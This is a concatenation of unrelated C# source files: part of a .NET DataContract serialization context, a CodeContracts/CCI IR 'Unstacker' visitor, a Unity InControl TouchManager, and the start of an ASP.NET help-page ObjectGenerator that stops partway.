xmlWriter.WriteStartElement(name, ns);
WriteNull(xmlWriter, memberType, isMemberTypeSerializable);
xmlWriter.WriteEndElement();
}
#if USE_REFEMIT
public void IncrementArrayCount(XmlWriterDelegator xmlWriter, Array array)
#else
internal void IncrementArrayCount(XmlWriterDelegator xmlWriter, Array array)
#endif
{
IncrementCollectionCount(xmlWriter, array.GetLength(0));
}
#if USE_REFEMIT
public void IncrementCollectionCount(XmlWriterDelegator xmlWriter, ICollection collection)
#else
internal void IncrementCollectionCount(XmlWriterDelegator xmlWriter, ICollection collection)
#endif
{
IncrementCollectionCount(xmlWriter, collection.Count);
}
#if USE_REFEMIT
public void IncrementCollectionCountGeneric<T>(XmlWriterDelegator xmlWriter, ICollection<T> collection)
#else
internal void IncrementCollectionCountGeneric<T>(XmlWriterDelegator xmlWriter, ICollection<T> collection)
#endif
{
IncrementCollectionCount(xmlWriter, collection.Count);
}
private void IncrementCollectionCount(XmlWriterDelegator xmlWriter, int size)
{
IncrementItemCount(size);
WriteArraySize(xmlWriter, size);
}
internal virtual void WriteArraySize(XmlWriterDelegator xmlWriter, int size)
{
}
#if USE_REFEMIT
public static bool IsMemberTypeSameAsMemberValue(object obj, Type memberType)
#else
internal static bool IsMemberTypeSameAsMemberValue(object obj, Type memberType)
#endif
{
if (obj == null || memberType == null)
return false;
return obj.GetType().TypeHandle.Equals(memberType.TypeHandle);
}
#if USE_REFEMIT
public static T GetDefaultValue<T>()
#else
internal static T GetDefaultValue<T>()
#endif
{
return default(T);
}
#if USE_REFEMIT
public static T GetNullableValue<T>(Nullable<T> value) where T : struct
#else
internal static T GetNullableValue<T>(Nullable<T> value) where T : struct
#endif
{
// value.Value will throw if hasValue is false
return value.Value;
}
#if USE_REFEMIT
public static void ThrowRequiredMemberMustBeEmitted(string memberName, Type type)
#else
internal static void ThrowRequiredMemberMustBeEmitted(string memberName, Type type)
#endif
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(new SerializationException(SR.Format(SR.RequiredMemberMustBeEmitted, memberName, type.FullName)));
}
#if USE_REFEMIT
public static bool GetHasValue<T>(Nullable<T> value) where T : struct
#else
internal static bool GetHasValue<T>(Nullable<T> value) where T : struct
#endif
{
return value.HasValue;
}
internal void WriteIXmlSerializable(XmlWriterDelegator xmlWriter, object obj)
{
if (_xmlSerializableWriter == null)
_xmlSerializableWriter = new XmlSerializableWriter();
WriteIXmlSerializable(xmlWriter, obj, _xmlSerializableWriter);
}
internal static void WriteRootIXmlSerializable(XmlWriterDelegator xmlWriter, object obj)
{
WriteIXmlSerializable(xmlWriter, obj, new XmlSerializableWriter());
}
private static void WriteIXmlSerializable(XmlWriterDelegator xmlWriter, object obj, XmlSerializableWriter xmlSerializableWriter)
{
xmlSerializableWriter.BeginWrite(xmlWriter.Writer, obj);
IXmlSerializable xmlSerializable = obj as IXmlSerializable;
if (xmlSerializable != null)
xmlSerializable.WriteXml(xmlSerializableWriter);
else
{
XmlElement xmlElement = obj as XmlElement;
if (xmlElement != null)
xmlElement.WriteTo(xmlSerializableWriter);
else
{
XmlNode[] xmlNodes = obj as XmlNode[];
if (xmlNodes != null)
foreach (XmlNode xmlNode in xmlNodes)
xmlNode.WriteTo(xmlSerializableWriter);
else
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(XmlObjectSerializer.CreateSerializationException(SR.Format(SR.UnknownXmlType, DataContract.GetClrTypeFullName(obj.GetType()))));
}
}
xmlSerializableWriter.EndWrite();
}
protected virtual void WriteDataContractValue(DataContract dataContract, XmlWriterDelegator xmlWriter, object obj, RuntimeTypeHandle declaredTypeHandle)
{
dataContract.WriteXmlValue(xmlWriter, obj, this);
}
protected virtual void WriteNull(XmlWriterDelegator xmlWriter)
{
XmlObjectSerializer.WriteNull(xmlWriter);
}
private void WriteResolvedTypeInfo(XmlWriterDelegator writer, Type objectType, Type declaredType)
{
XmlDictionaryString typeName, typeNamespace;
if (ResolveType(objectType, declaredType, out typeName, out typeNamespace))
{
WriteTypeInfo(writer, typeName, typeNamespace);
}
}
private bool ResolveType(Type objectType, Type declaredType, out XmlDictionaryString typeName, out XmlDictionaryString typeNamespace)
{
if (!DataContractResolver.TryResolveType(objectType, declaredType, KnownTypeResolver, out typeName, out typeNamespace))
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(XmlObjectSerializer.CreateSerializationException(SR.Format(SR.ResolveTypeReturnedFalse, DataContract.GetClrTypeFullName(DataContractResolver.GetType()), DataContract.GetClrTypeFullName(objectType))));
}
if (typeName == null)
{
if (typeNamespace == null)
{
return false;
}
else
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(XmlObjectSerializer.CreateSerializationException(SR.Format(SR.ResolveTypeReturnedNull, DataContract.GetClrTypeFullName(DataContractResolver.GetType()), DataContract.GetClrTypeFullName(objectType))));
}
}
if (typeNamespace == null)
{
throw DiagnosticUtility.ExceptionUtility.ThrowHelperError(XmlObjectSerializer.CreateSerializationException(SR.Format(SR.ResolveTypeReturnedNull, DataContract.GetClrTypeFullName(DataContractResolver.GetType()), DataContract.GetClrTypeFullName(objectType))));
}
return true;
}
protected virtual bool WriteTypeInfo(XmlWriterDelegator writer, DataContract contract, DataContract declaredContract)
{
if (XmlObjectSerializer.IsContractDeclared(contract, declaredContract))
{
return false;
}
bool hasResolver = DataContractResolver != null;
if (hasResolver)
{
WriteResolvedTypeInfo(writer, contract.UnderlyingType, declaredContract.UnderlyingType);
}
else
{
WriteTypeInfo(writer, contract.Name, contract.Namespace);
}
return hasResolver;
}
protected virtual void WriteTypeInfo(XmlWriterDelegator writer, string dataContractName, string dataContractNamespace)
{
writer.WriteAttributeQualifiedName(Globals.XsiPrefix, DictionaryGlobals.XsiTypeLocalName, DictionaryGlobals.SchemaInstanceNamespace, dataContractName, dataContractNamespace);
}
protected virtual void WriteTypeInfo(XmlWriterDelegator writer, XmlDictionaryString dataContractName, XmlDictionaryString dataContractNamespace)
{
writer.WriteAttributeQualifiedName(Globals.XsiPrefix, DictionaryGlobals.XsiTypeLocalName, DictionaryGlobals.SchemaInstanceNamespace, dataContractName, dataContractNamespace);
}
#if !NET_NATIVE
public void WriteExtensionData(XmlWriterDelegator xmlWriter, ExtensionDataObject extensionData, int memberIndex)
{
// Needed by the code generator, but not called.
}
#endif
}
}
| |
// CodeContracts
//
// Copyright (c) Microsoft Corporation
//
// All rights reserved.
//
// MIT License
//
// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#if !MinimalReader && !CodeContracts
using System;
using System.Collections;
using System.Diagnostics;
#if CCINamespace
namespace Microsoft.Cci{
#else
namespace System.Compiler{
#endif
/// <summary>
/// Walks a normalized IR, removing push, pop and dup instructions, replacing them with references to local variables.
/// Requires all Blocks to be basic blocks. I.e. any transfer statement is always the last statement in a block.
/// (This precondition is established by Reader but not by Normalizer.)
/// </summary>
public class Unstacker : StandardVisitor{
private TrivialHashtable/*!*/ SucessorBlock = new TrivialHashtable();
private TrivialHashtable/*!*/ StackLocalsAtEntry = new TrivialHashtable();
private LocalsStack/*!*/ localsStack = new LocalsStack();
public Unstacker(){
//^ base();
}
public override Statement VisitAssignmentStatement(AssignmentStatement assignment){
if (assignment == null) return null;
assignment.Source = this.VisitExpression(assignment.Source);
assignment.Target = this.VisitTargetExpression(assignment.Target);
return assignment;
}
public override Expression VisitBinaryExpression(BinaryExpression binaryExpression){
if (binaryExpression == null) return null;
binaryExpression.Operand2 = this.VisitExpression(binaryExpression.Operand2);
binaryExpression.Operand1 = this.VisitExpression(binaryExpression.Operand1);
if (binaryExpression.Type == null) binaryExpression.Type = binaryExpression.Operand1.Type; //Hack: need proper inferencing
return binaryExpression;
}
public override Block VisitBlock(Block block){
if (block == null) return null;
LocalsStack stackLocalsAtEntry = (LocalsStack)this.StackLocalsAtEntry[block.UniqueKey];
if (stackLocalsAtEntry == null){
//Unreachable code, or the very first block
stackLocalsAtEntry = new LocalsStack();
}
this.localsStack = stackLocalsAtEntry.Clone();
base.VisitBlock(block);
Block successor = (Block)this.SucessorBlock[block.UniqueKey];
if (successor != null) {
//Dropping off into successor.
LocalsStack targetStack = (LocalsStack)this.StackLocalsAtEntry[successor.UniqueKey];
if (targetStack != null && targetStack.top >= 0) {
//Another predecessor block has already decided what the stack for the successor block is going to look like.
//Reconcile the stack from this block with the stack expected by the successor block.
this.localsStack.Transfer(targetStack, block.Statements);
}
else {
this.StackLocalsAtEntry[successor.UniqueKey] = this.localsStack;
}
}
return block;
}
public override Statement VisitBranch(Branch branch){
if (branch == null) return null;
if (branch.Target == null) return null;
branch.Condition = this.VisitExpression(branch.Condition);
int n = this.localsStack.top+1;
LocalsStack targetStack = (LocalsStack)this.StackLocalsAtEntry[branch.Target.UniqueKey];
if (targetStack == null){
this.StackLocalsAtEntry[branch.Target.UniqueKey] = this.localsStack.Clone();
return branch;
}
//Target block has an entry stack that is different from the current stack. Need to copy stack before branching.
if (n <= 0) return branch; //Empty stack, no need to copy
StatementList statements = new StatementList(n+1);
this.localsStack.Transfer(targetStack, statements);
statements.Add(branch);
return new Block(statements);
}
public override Statement VisitSwitchInstruction(SwitchInstruction switchInstruction) {
if (switchInstruction == null) return null;
switchInstruction.Expression = this.VisitExpression(switchInstruction.Expression);
for (int i = 0, n = switchInstruction.Targets == null ? 0 : switchInstruction.Targets.Count; i < n; i++){
Block target = switchInstruction.Targets[i];
if (target == null) continue;
this.StackLocalsAtEntry[target.UniqueKey] = this.localsStack.Clone();
}
return switchInstruction;
}
public override ExpressionList VisitExpressionList(ExpressionList expressions) {
if (expressions == null) return null;
for (int i = expressions.Count-1; i >= 0; i--)
expressions[i] = this.VisitExpression(expressions[i]);
return expressions;
}
public override Statement VisitExpressionStatement(ExpressionStatement statement){
if (statement == null) return null;
Expression e = statement.Expression = this.VisitExpression(statement.Expression);
if (e == null || e.Type == CoreSystemTypes.Void) return statement;
if (e.NodeType == NodeType.Dup) return this.localsStack.Dup();
return this.localsStack.Push(e);
}
public override Expression VisitExpression(Expression expression){
if (expression == null) return null;
switch(expression.NodeType){
case NodeType.Dup:
case NodeType.Arglist:
return expression;
case NodeType.Pop:
UnaryExpression uex = expression as UnaryExpression;
if (uex != null){
Expression e = uex.Operand = this.VisitExpression(uex.Operand);
if (e == null) return null;
uex.Type = CoreSystemTypes.Void;
return uex;
}
return this.localsStack.Pop();
default:
return (Expression)this.Visit(expression);
}
}
public override Expression VisitIndexer(Indexer indexer){
if (indexer == null) return null;
indexer.Operands = this.VisitExpressionList(indexer.Operands);
indexer.Object = this.VisitExpression(indexer.Object);
return indexer;
}
public override Method VisitMethod(Method method){
// body might not have been materialized, so make sure we do that first!
Block body = method.Body;
if (method == null) return null;
BlockSorter blockSorter = new BlockSorter();
BlockList sortedBlocks = blockSorter.SortedBlocks;
this.SucessorBlock = blockSorter.SuccessorBlock;
this.StackLocalsAtEntry = new TrivialHashtable();
this.localsStack = new LocalsStack();
ExceptionHandlerList ehandlers = method.ExceptionHandlers;
for (int i = 0, n = ehandlers == null ? 0 : ehandlers.Count; i < n; i++){
ExceptionHandler ehandler = ehandlers[i];
if (ehandler == null) continue;
Block handlerStart = ehandler.HandlerStartBlock;
if (handlerStart == null) continue;
LocalsStack lstack = new LocalsStack();
this.StackLocalsAtEntry[handlerStart.UniqueKey] = lstack;
if (ehandler.HandlerType == NodeType.Catch) {
lstack.exceptionHandlerType = CoreSystemTypes.Object;
if (ehandler.FilterType != null) lstack.exceptionHandlerType = ehandler.FilterType;
} else if (ehandler.HandlerType == NodeType.Filter) {
lstack.exceptionHandlerType = CoreSystemTypes.Object;
if (ehandler.FilterExpression != null) {
lstack = new LocalsStack();
lstack.exceptionHandlerType = CoreSystemTypes.Object;
this.StackLocalsAtEntry[ehandler.FilterExpression.UniqueKey] = lstack;
}
}
}
blockSorter.VisitMethodBody(body);
for (int i = 0, n = sortedBlocks.Count; i < n; i++) {
Block b = sortedBlocks[i];
if (b == null) { Debug.Assert(false); continue; }
this.VisitBlock(b);
}
return method;
}
public override Expression VisitMethodCall(MethodCall call){
if (call == null) return null;
call.Operands = this.VisitExpressionList(call.Operands);
call.Callee = this.VisitExpression(call.Callee);
return call;
}
public override Expression VisitTernaryExpression(TernaryExpression expression){
if (expression == null) return null;
expression.Operand3 = this.VisitExpression(expression.Operand3);
expression.Operand2 = this.VisitExpression(expression.Operand2);
expression.Operand1 = this.VisitExpression(expression.Operand1);
return expression;
}
private class LocalsStack{
private Local[]/*!*/ elements;
internal int top = -1;
internal TypeNode exceptionHandlerType;
private void Grow(){
int n = this.elements.Length;
Local[] newElements = new Local[n+8];
for (int i = 0; i < n; i++) newElements[i] = this.elements[i];
this.elements = newElements;
}
internal LocalsStack(){
this.elements = new Local[8];
//^ base();
}
private LocalsStack(LocalsStack/*!*/ other) {
this.top = other.top;
this.exceptionHandlerType = other.exceptionHandlerType;
Local[] otherElements = other.elements;
int n = otherElements.Length;
Local[] elements = this.elements = new Local[n];
//^ base();
n = this.top+1;
for (int i = 0; i < n; i++)
elements[i] = otherElements[i];
}
internal LocalsStack/*!*/ Clone(){
return new LocalsStack(this);
}
internal AssignmentStatement Dup(){
int i = this.top;
Expression topVal;
if (this.top == -1 && this.exceptionHandlerType != null) {
topVal = new Expression(NodeType.Dup, this.exceptionHandlerType);
}else{
Debug.Assert(i >= 0 && i < this.elements.Length);
topVal = this.elements[i];
//^ assume topVal != null;
}
Local dup = new Local(topVal.Type);
if ((i = ++this.top) >= this.elements.Length) this.Grow();
this.elements[i] = dup;
return new AssignmentStatement(dup, topVal);
}
internal AssignmentStatement Push(Expression/*!*/ expr) {
//Debug.Assert(expr != null && expr.Type != null);
int i = ++this.top;
Debug.Assert(i >= 0);
if (i >= this.elements.Length) this.Grow();
Local loc = this.elements[i];
if (loc == null || loc.Type != expr.Type)
this.elements[i] = loc = new Local(expr.Type);
return new AssignmentStatement(loc, expr);
}
internal Expression Pop(){
if (this.top == -1 && this.exceptionHandlerType != null){
TypeNode t = this.exceptionHandlerType;
this.exceptionHandlerType = null;
return new Expression(NodeType.Pop, t);
}
int i = this.top--;
Debug.Assert(i >= 0 && i < this.elements.Length);
return this.elements[i];
}
internal void Transfer(LocalsStack/*!*/ targetStack, StatementList/*!*/ statements) {
Debug.Assert(targetStack != null);
if (targetStack == this) return;
int n = this.top;
Debug.Assert(n == targetStack.top);
for (int i = 0; i <= n; i++){
Local sloc = this.elements[i];
Local tloc = targetStack.elements[i];
if (sloc == tloc) continue;
Debug.Assert(sloc != null && tloc != null);
statements.Add(new AssignmentStatement(tloc, sloc));
}
}
}
private class BlockSorter : StandardVisitor{
private TrivialHashtable/*!*/ VisitedBlocks = new TrivialHashtable();
private TrivialHashtable/*!*/ BlocksThatDropThrough = new TrivialHashtable();
private bool lastBranchWasUnconditional = false;
internal BlockList/*!*/ SortedBlocks = new BlockList();
internal TrivialHashtable/*!*/ SuccessorBlock = new TrivialHashtable();
internal BlockSorter(){
//^ base();
}
internal void VisitMethodBody(Block body) {
if (body == null) return;
StatementList statements = body.Statements;
if (statements == null) return;
Block previousBlock = null;
for (int i = 0, n = statements.Count; i < n; i++) {
Block b = statements[i] as Block;
if (b == null) { Debug.Assert(false); continue; }
if (previousBlock != null && this.BlocksThatDropThrough[previousBlock.UniqueKey] != null) {
this.SuccessorBlock[previousBlock.UniqueKey] = b;
}
this.VisitBlock(b);
previousBlock = b;
}
}
public override Block VisitBlock(Block block) {
if (block == null) return null;
if (this.VisitedBlocks[block.UniqueKey] != null) {
return block;
}
this.VisitedBlocks[block.UniqueKey] = block;
this.SortedBlocks.Add(block);
this.lastBranchWasUnconditional = false;
base.VisitBlock(block);
if (!this.lastBranchWasUnconditional)
this.BlocksThatDropThrough[block.UniqueKey] = block;
return block;
}
public override Statement VisitBranch(Branch branch){
if (branch == null) return null;
if (branch.Target == null) return null;
this.VisitBlock(branch.Target);
this.lastBranchWasUnconditional = branch.Condition == null;
return branch;
}
public override Statement VisitEndFilter(EndFilter endFilter) {
endFilter.Value = this.VisitExpression(endFilter.Value);
this.lastBranchWasUnconditional = true;
return endFilter;
}
public override Statement VisitEndFinally(EndFinally endFinally) {
this.lastBranchWasUnconditional = true;
return endFinally;
}
public override Statement VisitReturn(Return ret) {
this.lastBranchWasUnconditional = true;
return ret;
}
public override Statement VisitSwitchInstruction(SwitchInstruction switchInstruction) {
if (switchInstruction == null) return null;
switchInstruction.Expression = this.VisitExpression(switchInstruction.Expression);
for (int i = 0, n = switchInstruction.Targets == null ? 0 : switchInstruction.Targets.Count; i < n; i++){
Block target = switchInstruction.Targets[i];
if (target == null) continue;
this.VisitBlock(target);
}
return switchInstruction;
}
public override Statement VisitThrow(Throw Throw) {
this.lastBranchWasUnconditional = true;
return Throw;
}
}
}
}
#endif
| |
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using UnityEngine;
using System.Collections;
namespace InControl
{
[ExecuteInEditMode]
public class TouchManager : SingletonMonoBehavior<TouchManager>
{
const int MaxTouches = 16;
public enum GizmoShowOption
{
Never,
WhenSelected,
UnlessPlaying,
Always
}
[Space( 10 )]
public Camera touchCamera;
public GizmoShowOption controlsShowGizmos = GizmoShowOption.Always;
[HideInInspector]
public bool enableControlsOnTouch = false;
[SerializeField, HideInInspector]
bool _controlsEnabled = true;
// Defaults to UI layer.
[HideInInspector]
public int controlsLayer = 5;
public static event Action OnSetup;
InputDevice device;
Vector3 viewSize;
Vector2 screenSize;
Vector2 halfScreenSize;
float percentToWorld;
float halfPercentToWorld;
float pixelToWorld;
float halfPixelToWorld;
TouchControl[] touchControls;
Touch[] cachedTouches;
List<Touch> activeTouches;
ReadOnlyCollection<Touch> readOnlyActiveTouches;
Vector2 lastMousePosition;
bool isReady;
#pragma warning disable 414
Touch mouseTouch;
#pragma warning restore 414
protected TouchManager()
{
}
void OnEnable()
{
if (!SetupSingleton())
{
return;
}
touchControls = GetComponentsInChildren<TouchControl>( true );
if (Application.isPlaying)
{
InputManager.OnSetup += Setup;
InputManager.OnUpdateDevices += UpdateDevice;
InputManager.OnCommitDevices += CommitDevice;
}
}
void OnDisable()
{
if (Application.isPlaying)
{
InputManager.OnSetup -= Setup;
InputManager.OnUpdateDevices -= UpdateDevice;
InputManager.OnCommitDevices -= CommitDevice;
}
Reset();
}
void Setup()
{
UpdateScreenSize( new Vector2( Screen.width, Screen.height ) );
CreateDevice();
CreateTouches();
if (OnSetup != null)
{
OnSetup.Invoke();
OnSetup = null;
}
}
void Reset()
{
device = null;
mouseTouch = null;
cachedTouches = null;
activeTouches = null;
readOnlyActiveTouches = null;
touchControls = null;
OnSetup = null;
}
void Start()
{
// This little hack is necessary because right after Unity starts up,
// cameras don't seem to have a correct projection matrix until after
// their first update or around that time. So we basically need to
// wait until the end of the first frame before everything is quite ready.
StartCoroutine( Ready() );
}
IEnumerator Ready()
{
yield return new WaitForEndOfFrame();
isReady = true;
UpdateScreenSize( new Vector2( Screen.width, Screen.height ) );
yield return null;
}
void Update()
{
if (!isReady)
{
return;
}
var currentScreenSize = new Vector2( Screen.width, Screen.height );
if (screenSize != currentScreenSize)
{
UpdateScreenSize( currentScreenSize );
}
if (OnSetup != null)
{
OnSetup.Invoke();
OnSetup = null;
}
}
void CreateDevice()
{
device = new InputDevice( "TouchDevice" );
device.RawSticks = true;
device.AddControl( InputControlType.LeftStickLeft, "LeftStickLeft" );
device.AddControl( InputControlType.LeftStickRight, "LeftStickRight" );
device.AddControl( InputControlType.LeftStickUp, "LeftStickUp" );
device.AddControl( InputControlType.LeftStickDown, "LeftStickDown" );
device.AddControl( InputControlType.RightStickLeft, "RightStickLeft" );
device.AddControl( InputControlType.RightStickRight, "RightStickRight" );
device.AddControl( InputControlType.RightStickUp, "RightStickUp" );
device.AddControl( InputControlType.RightStickDown, "RightStickDown" );
device.AddControl( InputControlType.LeftTrigger, "LeftTrigger" );
device.AddControl( InputControlType.RightTrigger, "RightTrigger" );
device.AddControl( InputControlType.DPadUp, "DPadUp" );
device.AddControl( InputControlType.DPadDown, "DPadDown" );
device.AddControl( InputControlType.DPadLeft, "DPadLeft" );
device.AddControl( InputControlType.DPadRight, "DPadRight" );
device.AddControl( InputControlType.Action1, "Action1" );
device.AddControl( InputControlType.Action2, "Action2" );
device.AddControl( InputControlType.Action3, "Action3" );
device.AddControl( InputControlType.Action4, "Action4" );
device.AddControl( InputControlType.LeftBumper, "LeftBumper" );
device.AddControl( InputControlType.RightBumper, "RightBumper" );
device.AddControl( InputControlType.Menu, "Menu" );
for (var control = InputControlType.Button0; control <= InputControlType.Button19; control++)
{
device.AddControl( control, control.ToString() );
}
InputManager.AttachDevice( device );
}
void UpdateDevice( ulong updateTick, float deltaTime )
{
UpdateTouches( updateTick, deltaTime );
SubmitControlStates( updateTick, deltaTime );
}
void CommitDevice( ulong updateTick, float deltaTime )
{
CommitControlStates( updateTick, deltaTime );
}
void SubmitControlStates( ulong updateTick, float deltaTime )
{
var touchControlCount = touchControls.Length;
for (int i = 0; i < touchControlCount; i++)
{
var touchControl = touchControls[i];
if (touchControl.enabled && touchControl.gameObject.activeInHierarchy)
{
touchControl.SubmitControlState( updateTick, deltaTime );
}
}
}
void CommitControlStates( ulong updateTick, float deltaTime )
{
var touchControlCount = touchControls.Length;
for (int i = 0; i < touchControlCount; i++)
{
var touchControl = touchControls[i];
if (touchControl.enabled && touchControl.gameObject.activeInHierarchy)
{
touchControl.CommitControlState( updateTick, deltaTime );
}
}
}
void UpdateScreenSize( Vector2 currentScreenSize )
{
screenSize = currentScreenSize;
halfScreenSize = screenSize / 2.0f;
viewSize = ConvertViewToWorldPoint( Vector2.one ) * 0.02f;
percentToWorld = Mathf.Min( viewSize.x, viewSize.y );
halfPercentToWorld = percentToWorld / 2.0f;
if (touchCamera != null)
{
halfPixelToWorld = touchCamera.orthographicSize / screenSize.y;
pixelToWorld = halfPixelToWorld * 2.0f;
}
if (touchControls != null)
{
var touchControlCount = touchControls.Length;
for (int i = 0; i < touchControlCount; i++)
{
touchControls[i].ConfigureControl();
}
}
}
void CreateTouches()
{
cachedTouches = new Touch[MaxTouches];
for (int i = 0; i < MaxTouches; i++)
{
cachedTouches[i] = new Touch( i );
}
mouseTouch = cachedTouches[MaxTouches - 1];
activeTouches = new List<Touch>( MaxTouches );
readOnlyActiveTouches = new ReadOnlyCollection<Touch>( activeTouches );
}
void UpdateTouches( ulong updateTick, float deltaTime )
{
activeTouches.Clear();
#if UNITY_EDITOR || UNITY_STANDALONE || UNITY_WEBPLAYER || UNITY_WEBGL
if (mouseTouch.SetWithMouseData( updateTick, deltaTime ))
{
activeTouches.Add( mouseTouch );
}
#endif
for (int i = 0; i < Input.touchCount; i++)
{
var unityTouch = Input.GetTouch( i );
var cacheTouch = cachedTouches[unityTouch.fingerId];
cacheTouch.SetWithTouchData( unityTouch, updateTick, deltaTime );
activeTouches.Add( cacheTouch );
}
// Find any touches that Unity may have "forgotten" to end properly.
for (int i = 0; i < MaxTouches; i++)
{
var touch = cachedTouches[i];
if (touch.phase != TouchPhase.Ended && touch.updateTick != updateTick)
{
touch.phase = TouchPhase.Ended;
activeTouches.Add( touch );
}
}
InvokeTouchEvents();
}
void SendTouchBegan( Touch touch )
{
var touchControlCount = touchControls.Length;
for (int i = 0; i < touchControlCount; i++)
{
var touchControl = touchControls[i];
if (touchControl.enabled && touchControl.gameObject.activeInHierarchy)
{
touchControl.TouchBegan( touch );
}
}
}
void SendTouchMoved( Touch touch )
{
var touchControlCount = touchControls.Length;
for (int i = 0; i < touchControlCount; i++)
{
var touchControl = touchControls[i];
if (touchControl.enabled && touchControl.gameObject.activeInHierarchy)
{
touchControl.TouchMoved( touch );
}
}
}
void SendTouchEnded( Touch touch )
{
var touchControlCount = touchControls.Length;
for (int i = 0; i < touchControlCount; i++)
{
var touchControl = touchControls[i];
if (touchControl.enabled && touchControl.gameObject.activeInHierarchy)
{
touchControl.TouchEnded( touch );
}
}
}
void InvokeTouchEvents()
{
var touchCount = activeTouches.Count;
if (enableControlsOnTouch)
{
if (touchCount > 0 && !controlsEnabled)
{
Device.RequestActivation();
controlsEnabled = true;
}
}
for (int i = 0; i < touchCount; i++)
{
var touch = activeTouches[i];
switch (touch.phase)
{
case TouchPhase.Began:
SendTouchBegan( touch );
break;
case TouchPhase.Moved:
SendTouchMoved( touch );
break;
case TouchPhase.Ended:
SendTouchEnded( touch );
break;
case TouchPhase.Canceled:
SendTouchEnded( touch );
break;
}
}
}
bool TouchCameraIsValid()
{
if (touchCamera == null)
{
return false;
}
if (Utility.IsZero( touchCamera.orthographicSize ))
{
return false;
}
if (Utility.IsZero( touchCamera.rect.width ) && Utility.IsZero( touchCamera.rect.height ))
{
return false;
}
if (Utility.IsZero( touchCamera.pixelRect.width ) && Utility.IsZero( touchCamera.pixelRect.height ))
{
return false;
}
return true;
}
Vector3 ConvertScreenToWorldPoint( Vector2 point )
{
if (TouchCameraIsValid())
{
return touchCamera.ScreenToWorldPoint( new Vector3( point.x, point.y, -touchCamera.transform.position.z ) );
}
else
{
return Vector3.zero;
}
}
Vector3 ConvertViewToWorldPoint( Vector2 point )
{
if (TouchCameraIsValid())
{
return touchCamera.ViewportToWorldPoint( new Vector3( point.x, point.y, -touchCamera.transform.position.z ) );
}
else
{
return Vector3.zero;
}
}
Vector3 ConvertScreenToViewPoint( Vector2 point )
{
if (TouchCameraIsValid())
{
return touchCamera.ScreenToViewportPoint( new Vector3( point.x, point.y, -touchCamera.transform.position.z ) );
}
else
{
return Vector3.zero;
}
}
public bool controlsEnabled
{
get
{
return _controlsEnabled;
}
set
{
if (_controlsEnabled != value)
{
var touchControlCount = touchControls.Length;
for (int i = 0; i < touchControlCount; i++)
{
touchControls[i].enabled = value;
}
_controlsEnabled = value;
}
}
}
#region Static interface.
public static ReadOnlyCollection<Touch> Touches
{
get
{
return Instance.readOnlyActiveTouches;
}
}
public static int TouchCount
{
get
{
return Instance.activeTouches.Count;
}
}
public static Touch GetTouch( int touchIndex )
{
return Instance.activeTouches[touchIndex];
}
public static Touch GetTouchByFingerId( int fingerId )
{
return Instance.cachedTouches[fingerId];
}
public static Vector3 ScreenToWorldPoint( Vector2 point )
{
return Instance.ConvertScreenToWorldPoint( point );
}
public static Vector3 ViewToWorldPoint( Vector2 point )
{
return Instance.ConvertViewToWorldPoint( point );
}
public static Vector3 ScreenToViewPoint( Vector2 point )
{
return Instance.ConvertScreenToViewPoint( point );
}
public static float ConvertToWorld( float value, TouchUnitType unitType )
{
return value * (unitType == TouchUnitType.Pixels ? PixelToWorld : PercentToWorld);
}
public static Rect PercentToWorldRect( Rect rect )
{
return new Rect(
(rect.xMin - 50.0f) * ViewSize.x,
(rect.yMin - 50.0f) * ViewSize.y,
rect.width * ViewSize.x,
rect.height * ViewSize.y
);
}
public static Rect PixelToWorldRect( Rect rect )
{
return new Rect(
Mathf.Round( rect.xMin - HalfScreenSize.x ) * PixelToWorld,
Mathf.Round( rect.yMin - HalfScreenSize.y ) * PixelToWorld,
Mathf.Round( rect.width ) * PixelToWorld,
Mathf.Round( rect.height ) * PixelToWorld
);
}
public static Rect ConvertToWorld( Rect rect, TouchUnitType unitType )
{
return unitType == TouchUnitType.Pixels ? PixelToWorldRect( rect ) : PercentToWorldRect( rect );
}
public static Camera Camera
{
get
{
return Instance.touchCamera;
}
}
public static InputDevice Device
{
get
{
return Instance.device;
}
}
public static Vector3 ViewSize
{
get
{
return Instance.viewSize;
}
}
public static float PercentToWorld
{
get
{
return Instance.percentToWorld;
}
}
public static float HalfPercentToWorld
{
get
{
return Instance.halfPercentToWorld;
}
}
public static float PixelToWorld
{
get
{
return Instance.pixelToWorld;
}
}
public static float HalfPixelToWorld
{
get
{
return Instance.halfPixelToWorld;
}
}
public static Vector2 ScreenSize
{
get
{
return Instance.screenSize;
}
}
public static Vector2 HalfScreenSize
{
get
{
return Instance.halfScreenSize;
}
}
public static GizmoShowOption ControlsShowGizmos
{
get
{
return Instance.controlsShowGizmos;
}
}
public static bool ControlsEnabled
{
get
{
return Instance.controlsEnabled;
}
set
{
Instance.controlsEnabled = value;
}
}
#endregion
public static implicit operator bool( TouchManager instance )
{
return instance != null;
}
}
}
| |
using System;
using System.Collections;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.Linq;
using System.Reflection;
namespace TodoList_Service.Areas.HelpPage
{
/// <summary>
/// This class will create an object of a given type and populate it with sample data.
/// </summary>
public class ObjectGenerator
{
internal const int DefaultCollectionSize = 2;
private readonly SimpleTypeObjectGenerator SimpleObjectGenerator = new SimpleTypeObjectGenerator();
/// <summary>
/// Generates an object for a given type. The type needs to be public, have a public default constructor and settable public properties/fields. Currently it supports the following types:
/// Simple types: <see cref="int"/>, <see cref="string"/>, <see cref="Enum"/>, <see cref="DateTime"/>, <see cref="Uri"/>, etc.
/// Complex types: POCO types.
